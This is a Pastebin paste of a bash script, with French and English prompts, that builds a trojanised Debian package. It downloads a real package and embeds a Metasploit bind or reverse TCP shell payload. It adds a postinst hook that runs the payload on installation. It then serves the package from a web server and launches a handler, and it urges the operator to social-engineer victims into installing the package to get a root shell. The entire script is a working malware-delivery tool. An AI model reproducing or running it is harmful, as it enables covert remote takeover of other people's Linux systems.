hooligan

.deb (debian) trojan generator

Feb 26th, 2012
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.60 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Script to generate a Debian (.deb) package trojan using Metasploit payload
  4. # Dev By Dilate and engineer by Alg3ri4n
  5.  
  6. scriptname=`basename "$0"`
  7.  
  8. if [[ $UID -ne 0 ]]; then
  9. echo "${scriptname} must be run as root"
  10. exit 1
  11. fi
  12.  
  13. #
  14. echo
  15. echo "#####################################################################"
  16. echo " Script To Generate Malware for Linux "
  17. echo " Fuck Lamer'z "
  18. echo "#####################################################################"
  19. echo
  20.  
  21. echo "Nous vous rappelons que ce script a été coder pour backtrack 5"
  22. echo "Nous vous rappelons également que toute copie est interdite"
  23. echo "Nous ne sommes pas responsables de vos actes apres avoir acheter ce script"
  24.  
  25.  
  26.  
  27. echo " ____ ____ ____ ____ ____ ____
  28. ||d |||i |||l |||a |||t |||e ||
  29. ||__|||__|||__|||__|||__|||__||
  30. |/__\|/__\|/__\|/__\|/__\|/__\|"
  31.  
  32.  
  33.  
  34. # Dossier metasploit
  35.  
  36. msfdir="/opt/framework/msf3/"
  37. tmpdir="/tmp/evildeb"
  38. workdir="$tmpdir/work"
  39.  
  40. # Package
  41.  
  42. echo "Entrez Le nom du paquet a installer avec le malware ! "
  43. echo "Utilisez apt-cache search pour avoir des idées de paquets"
  44. echo
  45. read package
  46. apt-get --download-only install $package
  47. echo
  48. mkdir $tmpdir
  49. mkdir $workdir
  50. mv /var/cache/apt/archives/$package* $tmpdir
  51. mkdir $workdir/DEBIAN
  52. dpkg -x $tmpdir/$package* $workdir
  53. apt-cache show $package > $workdir/DEBIAN/control
  54. cat $workdir/DEBIAN/control | sed '/^Original-Maintainer/d' | sed '/^SHA/d' > $workdir/DEBIAN/control2
  55. mv $workdir/DEBIAN/control2 $workdir/DEBIAN/control
  56. echo
  57. echo "Choisisez votre Payload"
  58. echo "-------------------------------------"
  59. echo
  60. echo "1. bind tcp"
  61. echo "2. reverse tcp"
  62. echo
  63. echo "Appuyer sur le nombre:"
  64. read choice
  65.  
  66.  
  67. if [ "$choice" -eq 1 ]; then
  68. payload="linux/x86/shell/bind_tcp"
  69. echo "Enter IP:"
  70. read rhostIP
  71. echo "Enter port:"
  72. read bindport
  73. options="RHOST=$rhostIP LPORT=$bindport"
  74. else
  75. if [ "$choice" -eq 2 ]; then
  76. payload="linux/x86/shell/reverse_tcp"
  77. echo "Enter IP:"
  78. read lhostIP
  79. echo "Enter port:"
  80. read revport
  81. options="LHOST=$lhostIP LPORT=$revport"
  82. fi
  83. fi
  84.  
  85. echo
  86. echo "Please enter the filename for the Metasploit payload:"
  87. read filename
  88. echo
  89.  
  90. cd $workdir
  91. binary=`find . -executable -type f | grep $package | sed -e 's/^.//'`
  92. trojan="$filename"
  93.  
  94. echo "Generation du Malware"
  95. echo
  96.  
  97. echo "#!/bin/sh" > $workdir/DEBIAN/postinst
  98. echo "" >> $workdir/DEBIAN/postinst
  99. echo "" >> $workdir/DEBIAN/postinst
  100. echo "sudo chmod 2755 $binary$trojan && $binary$trojan & $binary &" >> $workdir/DEBIAN/postinst
  101.  
  102. trojan2=`echo $binary$trojan | sed -e 's/^\///'`
  103.  
  104. echo "Merci Generation Du payload ..."
  105. $msfdir/msfpayload $payload $options X > $workdir/$trojan2
  106. echo
  107.  
  108. cd $workdir/DEBIAN
  109. chmod 755 postinst
  110. dpkg-deb --build $workdir
  111. cd $tmpdir
  112.  
  113. echo
  114. echo "Entrez Votre WEB directory exemple: /var/www/:"
  115. read webroot
  116. mv $tmpdir/work.deb $webroot/$package.deb
  117. rm -rf $tmpdir
  118.  
  119. echo
  120. echo "Trojan'd $package.deb generer et deplacer dans $webroot"
  121. echo
  122.  
  123. webserver="python -m SimpleHTTPServer 80"
  124.  
  125. echo "voulez vous un webserver ? (y/n) :"
  126. read svr
  127. echo
  128.  
  129. if [[ "$svr" == "y" || "$svr" == "Y" ]]; then
  130. cd $webroot
  131. $webserver &
  132. echo
  133. else
  134. echo "installation de votre own webserver :)"
  135. echo
  136. fi
  137.  
  138. sleep 1
  139.  
  140. echo "Would you like me to setup a metasploit handler ? (y/n) :"
  141. echo
  142. read handler
  143. echo
  144. echo "In the meantime, social engineer your victim in to browsing to your package"
  145. echo "and get them to install it and wait for your root shell >)"
  146. echo
  147.  
  148. if [[ "$handler" == "y" || "$handler" == "Y" ]]; then
  149. echo
  150. $msfdir/msfcli exploit/multi/handler payload=$payload $options E
  151. else
  152. echo "Fair nuff, setup your own handler :)"
  153. echo
  154. fi
Advertisement
Add Comment
Please, Sign In to add comment